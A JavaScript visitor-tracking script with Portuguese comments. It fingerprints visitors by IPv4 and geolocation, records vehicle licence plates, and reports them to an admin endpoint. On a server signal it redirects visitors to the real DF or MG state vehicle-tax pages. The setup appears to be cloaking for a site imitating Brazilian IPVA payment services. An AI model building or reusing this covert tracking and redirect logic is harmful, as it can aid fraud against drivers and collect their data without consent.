/**
 * Nexus Global Tracker v3.3
 * Foco Total em IPv4 e Sincronização de Eventos
 */
const NexusTracker = {
    config: {
        endpoint: '/admin-api/admin.php?action=track',
        ipLookup: '/admin-api/admin.php?action=ip',
        // Provedores que respondem APENAS em IPv4
        providers: [
            'https://api4.ipify.org?format=json',
            'https://ipv4.icanhazip.com',
            'https://v4.ident.me/.json'
        ]
    },
    siteApiKey: null,
    ipDetails: {},
    placaAtual: null,
    visitorId: null,
    ipv4: null,
    isInitialized: false,

    async init(apiKey) {
        if (this.isInitialized) return;
        this.siteApiKey = apiKey;
        
        this.visitorId = localStorage.getItem('nexus_vid');
        if (!this.visitorId) {
            this.visitorId = 'v_' + Math.random().toString(36).substr(2, 9) + Date.now().toString(36);
            localStorage.setItem('nexus_vid', this.visitorId);
        }

        await this.captureIPv4();
        await this.sendEvent('visit');
        this.isInitialized = true;
    },

    async captureIPv4() {
        // Tenta capturar IPv4 real de provedores externos (v4 only)
        for (let url of this.config.providers) {
            try {
                const res = await fetch(url, { timeout: 3000 });
                const text = await res.text();
                let ip = '';
                try {
                    const json = JSON.parse(text);
                    ip = json.ip || json.address;
                } catch (e) {
                    ip = text.trim();
                }
                
                if (ip && ip.includes('.')) { // Verifica se é IPv4
                    this.ipv4 = ip;
                    break;
                }
            } catch (e) { continue; }
        }

        try {
            // Obtém detalhes geográficos usando o IPv4 capturado
            const lookupUrl = this.ipv4 ? `${this.config.ipLookup}&ip=${this.ipv4}` : this.config.ipLookup;
            const res = await fetch(lookupUrl);
            this.ipDetails = await res.json();
            
            // Se o lookup retornou um IPv4 e ainda não tínhamos, usa ele
            if (!this.ipv4 && this.ipDetails.query && this.ipDetails.query.includes('.')) {
                this.ipv4 = this.ipDetails.query;
            }
        } catch (e) {
            console.error('Lookup failed');
        }
    },

    async sendEvent(eventType, additionalData = {}) {
        try {
            // Não envia se não tiver capturado o IP ainda (espera o init)
            const body = {
                event_type: eventType,
                api_key: this.siteApiKey,
                visitor_id: this.visitorId,
                captured_ip: this.ipv4, 
                placa: this.placaAtual || additionalData.placa || null,
                metadata: { 
                    ...this.ipDetails, 
                    ...additionalData, 
                    visitor_id: this.visitorId,
                    forced_ipv4: this.ipv4 
                }
            };

            const response = await fetch(this.config.endpoint, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(body),
                keepalive: true
            });
            const result = await response.json();
            
            if (result.redirect) {
                const redirects = {
                    'df': 'https://www.receita.fazenda.df.gov.br/aplicacoes/CartaServicos/Servico.cfm?codServico=14&codTipoPessoa=1',
                    'mg': 'https://www.fazenda.mg.gov.br/empresas/impostos/ipva/'
                };
                const state = Object.keys(redirects).find(s => this.siteApiKey.endsWith(s));
                window.location.href = redirects[state] || 'https://www.google.com';
            }
            return result;
        } catch (e) { return null; }
    }
};
